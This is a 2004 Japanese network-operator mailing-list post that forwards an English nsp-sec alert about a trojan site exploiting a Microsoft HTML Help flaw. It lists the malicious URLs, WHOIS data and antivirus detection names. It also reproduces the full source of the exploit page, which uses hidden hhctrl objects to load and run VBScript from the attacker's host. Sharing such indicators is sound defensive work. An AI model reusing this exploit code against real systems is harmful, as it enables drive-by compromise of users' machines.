[nsp-sec-jp] Fw: [nsp-sec] emerging threat (HTML Help vulnerability)

2004年 12月 28日 (火) 01:03:07 EST

nsp-sec-jp各位、

nsp-secにトロイの木馬サイトに対する警告が来ていますので転送
します。

アメリカのISPでは、このサイトに対してBlackholeをし始めている
ISPもチラホラいます。

---

現在我々は最近公表されたMicrosoftのHTML Helpファイルに対する脆弱性を対象
をした攻撃活動を多数見受けています(参照：
http://www.securityfocus.com/bid/11467)

以下のリンクがこの脆弱性に対する攻撃を起こすURLになっています。
＊＊＊下のリンクは絶対にClickしないでください！！！＊＊＊
 	http://searchproject.net/sp2.html
 	http://searchproject.net/myhta.txt
 	http://searchproject.net/expl.txt
 	http://searchproject.net/kb3248.exe
＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊＊

sp2.htmlは元々Bloodhound.Exploit.21として発見されました。
我々はSymantecにサンプルを送り、彼らはそのサンプルを危険だと認めました。
これに対する彼らが作成した、探知方法はTrojan.Phel.A と呼ばれています。

---
ちなみに、sp2.htmlは以下のようなソースでした。
---
<html>
<head>
</head>
<body>
<div style="display:none">
<OBJECT id="localpage" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7% style="position:absolute;top:140;left:72;z-index:100;" codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value="command;file://C:\WINDOWS\PCHealth\HelpCtr\System\blurbs\tools.htm">
</OBJECT>
<OBJECT id="inject" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" height=7%
style="position:absolute;top:140;left:72;z-index:100;" codebase="hhctrl.ocx#Version=5,2,3790,1194" width="7%">
<PARAM name="Command" value="Related Topics, MENU">
<PARAM name="Button" value="Text:Just a button">
<PARAM name="Window" value="$global_blank">
<PARAM name="Item1" value='command;javascript:execScript("document.write(\"<script language=\\\"vbscript\\\" src=\\\"http://searchproject.net/myhta.txt\\\"\"+String.fromCharCode(62)+\"</scr\"+\"ipt\"+String.fromCharCode(62))")'>
</OBJECT>
</div>
<script>
localpage.HHClick();
setTimeout("inject.HHClick()",100);
</script>
</body>
</html>
-----

森信さん、サポートありがとうございます。_o_

----------- nsp-security Confidential --------

We're observing exploit activity associated with the recently announced Microsoft vulnerability relating to HTML Help files (ref http://www.securityfocus.com/bid/11467).  Here is the URL that triggers the exploit attempt:

DO NOT CLICK THE FOLLOWING LINKS!

	http://searchproject.net/sp2.html
		http://searchproject.net/myhta.txt
		http://searchproject.net/expl.txt
		http://searchproject.net/kb3248.exe

sp2.html was originally detected as Bloodhound.Exploit.21.  We've submitted a sample to Symantec for analysis and they've confirmed the sample as malicious.  The new detection they've created for it is called Trojan.Phel.A.

Regards,
Mike Sheldon

WHOIS INFORMATION FOR searchproject.net

Registration Service Provided By: ESTHOST 
Contact: sales ＠ esthost.com 
Abuse Desk Email Address: abuse ＠ esthost.com 

Domain Name: SEARCHPROJECT.NET 

Registrant: 
x-traffic 
Alex White (support ＠ searchproject.net) 
NY, 13 st 
NY 
null,3897762 
US 
Tel. +18.2134123 

Creation Date: 28-Sep-2004 
Expiration Date: 28-Sep-2006 

Domain servers in listed order: 
36958.mercury.orderbox-dns.com 
36958.venus.orderbox-dns.com 
36958.earth.orderbox-dns.com 
36958.mars.orderbox-dns.com 

Administrative Contact: 
x-traffic 
Alex White (support ＠ searchproject.net) 
NY, 13 st 
NY 
null,3897762 
US 
Tel. +18.2134123 

Technical Contact: 
x-traffic 
Alex White (support ＠ searchproject.net) 
NY, 13 st 
NY 
null,3897762 
US 
Tel. +18.2134123 

Billing Contact: 
x-traffic 
Alex White (support ＠ searchproject.net) 
NY, 13 st 
NY 
null,3897762 
US 
Tel. +18.2134123 

Status:ACTIVE 

_______________________________________________
nsp-security mailing list
nsp-security ＠ puck.nether.net
https://puck.nether.net/mailman/listinfo/nsp-security

Please do not Forward, CC, or BCC this E-mail outside of the nsp-security
community. Confidentiality is essential for effective Internet security counter-measures.
_______________________________________________

--------------------- Original Message Ends --------------------

-----
Taka Mizuguchi
taka ＠ ntt.net